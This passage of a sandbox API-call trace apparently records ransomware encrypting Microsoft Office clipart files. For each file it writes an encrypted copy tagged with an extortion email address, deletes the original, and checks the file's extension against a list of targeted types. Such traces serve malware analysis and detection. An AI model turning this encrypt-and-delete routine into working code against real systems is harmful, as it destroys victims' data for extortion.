dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.746] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0248.746] GetLastError () returned 0x0 [0248.746] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x228, lpOverlapped=0x0) returned 1 [0248.747] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x230, lpOverlapped=0x0) returned 1 [0248.748] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.748] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.748] SetEndOfFile (hFile=0x390) returned 1 [0248.748] CloseHandle (hObject=0x390) returned 1 [0248.749] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.749] SetEndOfFile (hFile=0x3b4) returned 1 [0248.751] CloseHandle (hObject=0x3b4) returned 1 [0248.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0248.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0248.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0248.752] lstrlenW (lpString=".doc") returned 4 [0248.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.752] lstrlenW (lpString=".docx") returned 5 [0248.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.752] lstrlenW (lpString=".pdf") returned 4 [0248.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.752] lstrlenW (lpString=".xls") returned 4 [0248.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.752] lstrlenW (lpString=".xlsx") returned 5 [0248.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.752] lstrlenW (lpString=".ppt") returned 4 [0248.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0248.752] lstrlenW (lpString=".zip") returned 4 [0248.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.752] lstrlenW (lpString=".rar") returned 4 [0248.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.752] lstrlenW (lpString=".bz2") returned 4 [0248.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.752] lstrlenW (lpString=".7z") returned 3 [0248.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0248.752] lstrlenW (lpString=".dbf") returned 4 [0248.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0248.752] lstrlenW (lpString=".1cd") returned 4 [0248.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0248.752] lstrlenW (lpString=".jpg") returned 4 [0248.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0248.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0248.752] lstrlenW (lpString=".doc") returned 4 [0248.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.752] lstrlenW (lpString=".docx") returned 5 [0248.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.753] lstrlenW (lpString=".pdf") returned 4 [0248.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.753] lstrlenW (lpString=".xls") returned 4 [0248.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.753] lstrlenW (lpString=".xlsx") returned 5 [0248.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.753] lstrlenW (lpString=".ppt") returned 4 [0248.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0248.753] lstrlenW (lpString=".zip") returned 4 [0248.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.753] lstrlenW (lpString=".rar") returned 4 [0248.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.753] lstrlenW (lpString=".bz2") returned 4 [0248.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.753] lstrlenW (lpString=".7z") returned 3 [0248.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0248.753] lstrlenW (lpString=".dbf") returned 4 [0248.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0248.753] lstrlenW (lpString=".1cd") returned 4 [0248.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0248.753] lstrlenW (lpString=".jpg") returned 4 [0248.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.753] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.753] lstrlenW (lpString="DD01761_.WMF") returned 12 [0248.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.754] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=4148) returned 1 [0248.754] CloseHandle (hObject=0x3b4) returned 1 [0248.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x20 [0248.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.754] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.754] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0248.755] GetLastError () returned 0x0 [0248.755] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1034, lpOverlapped=0x0) returned 1 [0248.911] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1040, lpOverlapped=0x0) returned 1 [0248.912] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.912] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.912] SetEndOfFile (hFile=0x390) returned 1 [0248.912] CloseHandle (hObject=0x390) returned 1 [0248.912] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.912] SetEndOfFile (hFile=0x3b4) returned 1 [0248.914] CloseHandle (hObject=0x3b4) returned 1 [0248.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0248.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0248.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0248.937] lstrlenW (lpString=".doc") returned 4 [0248.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.937] lstrlenW (lpString=".docx") returned 5 [0248.937] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.937] lstrlenW (lpString=".pdf") returned 4 [0248.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.937] lstrlenW (lpString=".xls") returned 4 [0248.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.937] lstrlenW (lpString=".xlsx") returned 5 [0248.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.937] lstrlenW (lpString=".ppt") returned 4 [0248.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0248.937] lstrlenW (lpString=".zip") returned 4 [0248.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.937] lstrlenW (lpString=".rar") returned 4 [0248.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.937] lstrlenW (lpString=".bz2") returned 4 [0248.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.938] lstrlenW (lpString=".7z") returned 3 [0248.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0248.938] lstrlenW (lpString=".dbf") returned 4 [0248.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0248.938] lstrlenW (lpString=".1cd") returned 4 [0248.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0248.938] lstrlenW (lpString=".jpg") returned 4 [0248.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0248.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0248.938] lstrlenW (lpString=".doc") returned 4 [0248.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.938] lstrlenW (lpString=".docx") returned 5 [0248.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.938] lstrlenW (lpString=".pdf") returned 4 [0248.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.938] lstrlenW (lpString=".xls") returned 4 [0248.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.938] lstrlenW (lpString=".xlsx") returned 5 [0248.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.938] lstrlenW (lpString=".ppt") returned 4 [0248.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0248.938] lstrlenW (lpString=".zip") returned 4 [0248.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.938] lstrlenW (lpString=".rar") returned 4 [0248.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.938] lstrlenW (lpString=".bz2") returned 4 [0248.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.938] lstrlenW (lpString=".7z") returned 3 [0248.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0248.938] lstrlenW (lpString=".dbf") returned 4 [0248.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0248.938] lstrlenW (lpString=".1cd") returned 4 [0248.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0248.939] lstrlenW (lpString=".jpg") returned 4 [0248.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.939] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.939] lstrlenW (lpString="ED00010_.WMF") returned 12 [0248.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.939] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=1382) returned 1 [0248.939] CloseHandle (hObject=0x200) returned 1 [0248.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x20 [0248.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.940] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.940] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.940] GetLastError () returned 0x0 [0248.940] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x566, lpOverlapped=0x0) returned 1 [0248.985] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x570, lpOverlapped=0x0) returned 1 [0248.986] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.986] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.986] SetEndOfFile (hFile=0x3b4) returned 1 [0248.987] CloseHandle (hObject=0x3b4) returned 1 [0248.987] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.987] SetEndOfFile (hFile=0x200) returned 1 [0248.990] CloseHandle (hObject=0x200) returned 1 [0248.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0248.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0248.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0248.991] lstrlenW (lpString=".doc") returned 4 [0248.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.991] lstrlenW (lpString=".docx") returned 5 [0248.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.991] lstrlenW (lpString=".pdf") returned 4 [0248.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.991] lstrlenW (lpString=".xls") returned 4 [0248.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.991] lstrlenW (lpString=".xlsx") returned 5 [0248.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.992] lstrlenW (lpString=".ppt") returned 4 [0248.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0248.992] lstrlenW (lpString=".zip") returned 4 [0248.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.992] lstrlenW (lpString=".rar") returned 4 [0248.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.992] lstrlenW (lpString=".bz2") returned 4 [0248.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.992] lstrlenW (lpString=".7z") returned 3 [0248.992] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0248.992] lstrlenW (lpString=".dbf") returned 4 [0248.992] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0248.992] lstrlenW (lpString=".1cd") returned 4 [0248.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0248.992] lstrlenW (lpString=".jpg") returned 4 [0248.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0248.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0248.992] lstrlenW (lpString=".doc") returned 4 [0248.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.992] lstrlenW (lpString=".docx") returned 5 [0248.992] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.992] lstrlenW (lpString=".pdf") returned 4 [0248.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.992] lstrlenW (lpString=".xls") returned 4 [0248.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.992] lstrlenW (lpString=".xlsx") returned 5 [0248.992] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.992] lstrlenW (lpString=".ppt") returned 4 [0248.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0248.992] lstrlenW (lpString=".zip") returned 4 [0248.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.993] lstrlenW (lpString=".rar") returned 4 [0248.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.993] lstrlenW (lpString=".bz2") returned 4 [0248.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.993] lstrlenW (lpString=".7z") returned 3 [0248.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0248.993] lstrlenW (lpString=".dbf") returned 4 [0248.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0248.993] lstrlenW (lpString=".1cd") returned 4 [0248.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0248.993] lstrlenW (lpString=".jpg") returned 4 [0248.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.993] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.993] lstrlenW (lpString="ED00172_.WMF") returned 12 [0248.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.993] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=2700) returned 1 [0248.994] CloseHandle (hObject=0x200) returned 1 [0248.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x20 [0248.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.994] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.994] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.995] GetLastError () returned 0x0 [0248.995] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, 